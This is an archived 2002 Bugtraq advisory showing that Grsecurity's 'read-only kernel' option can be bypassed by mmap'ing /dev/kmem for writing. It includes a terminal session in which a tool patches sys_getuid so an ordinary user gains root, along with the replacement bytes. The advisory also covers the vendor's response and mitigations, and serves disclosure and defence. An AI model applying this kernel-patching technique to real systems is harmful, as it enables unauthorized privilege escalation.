8459175 2002-05-17 10:07 +0200 /92 rader/ Guillaume PELAT <guillaume.pelat@intexxia.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-05-17 23:10 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern kopiemottagare: cert@intexxia.com
Mottagare: Bugtraq (import) <22308>
Ärende: Grsecurity problem - modifying "read-only kernel"
------------------------------------------------------------
From: Guillaume PELAT <guillaume.pelat@intexxia.com>
To: bugtraq@securityfocus.com
Cc: cert@intexxia.com
Message-ID: <1021622851.4300.17.camel@debian>
Affected:
Grsecurity(and maybe other linux hardening patchs).
Description:
Grsecurity (and maybe other linux hardening patchs)
integrates a variant of the patch published in phrack p58-0x07
article supposed to forbid writing to /dev/mem and /dev/kmem by
disabling function do_write_mem().
This is done by activating the option "Read-only kernel"
(CONFIG_GRKERNSEC_KMEM).
"CONFIG_GRKERNSEC_KMEM If you say Y here, root will not be able to
modify the contents of kernel memory. If module support is
removed in addition to enabling this option, the ability of an
attacker to insert foreign code into a running kernel is removed."
Unfortunately, there is another way to modify the kernel using
/dev/mem or /dev/kmem.
It is possible to manipulate /dev/kmem and /dev/mem simply by
manipulating memory instead of using normal filesystem I/O calls.
By mmap'ing /dev/kmem or /dev/mem, an attacker can modify directly the
content of the running kernel without using do_write_mem().
For that, /dev/kmem must be open in writing mode, then mmap'ed with
PROT_WRITE flag and MAP_SHARED mode.
An example of kernel modification with grsecurity kmem read-only patch
activated and lkm supports disabled is available at the following
address: http://www.epita.fr:8000/~pelat_g/kmem_mmap.php
This example changes sys_getuid code so that it always returns 0,
using kmem/mmap method.
test@Zaibach:~$ uname -a # kmem read-only activated and lkm disabled
Linux plop 2.4.18-grsec-1.9.4 #5 Wed Apr 10 19:32:33 CEST 2002 i686
test@Zaibach:~/ id
uid=1000(test) gid=1000(users) groups=1000(users)
Zaibach:~/kmem_mmap# ./kmem_mmap /usr/src/linux/System.map
Loading symbols from /usr/src/linux/System.map...
Opening /dev/kmem...
Reading current sys_getuid code...
b8 00 e0 ff ff 21 e0 8b 80 30 01 00 00 c3
Was expecting:
b8 00 e0 ff ff 21 e0 8b 80 30 01 00 00 c3
Replacing sys_getuid code by newcode - It may crash your kernel...
b8 00 e0 ff ff 21 e0 90 b8 00 00 00 00 c3
Done
Zaibach:~/kmem_mmap#
test@Zaibach:~/ id
uid=0(root) gid=1000(test) euid=1000(test) groups=1000(users)
test@Zaibach:~/ su
Zaibach:~/#
Note: Grsecurity developpement team has been contacted,
CONFIG_GRKERNSEC_KMEM help message has been modified as follow:
"CONFIG_GRKERNSEC_KMEM
If you say Y here, root will not be able to modify the contents of
kernel memory via ioctl. There are still many other methods of
inserting code into the kernel that removing module support and
writing to /dev/kmem will not stop. If you want to further restrict
the actions of root, it is recommended that you use grsecurity's ACL
system. This option is not known to cause any software
incompatibilities, therefore it is recommended that you say Y here."
It is also possible to modify mmap_mem function in order to disallow
mmap on mem and kmem with PROT_WRITE flag. But this causes problems
with programs like XFree86 that may need access to /dev/mem.
As a conclusion, preventing direct write to kmem and disabling lkm
support doesnt mean it is impossible to modify the running kernel, so
dont forget to use a good ACL policy :-)
--
Guillaume Pelat
Security Expert
INTEXXIA
171 Av. Georges Clemenceau
92024 NANTERRE CEDEX - FRANCE
tel: +33 1 55 69 49 10
fax:| +33 1 55 69 78 80
http://www.intexxia.com
(8459175) /Guillaume PELAT <guillaume.pelat@intexxia.com>/(Ombruten)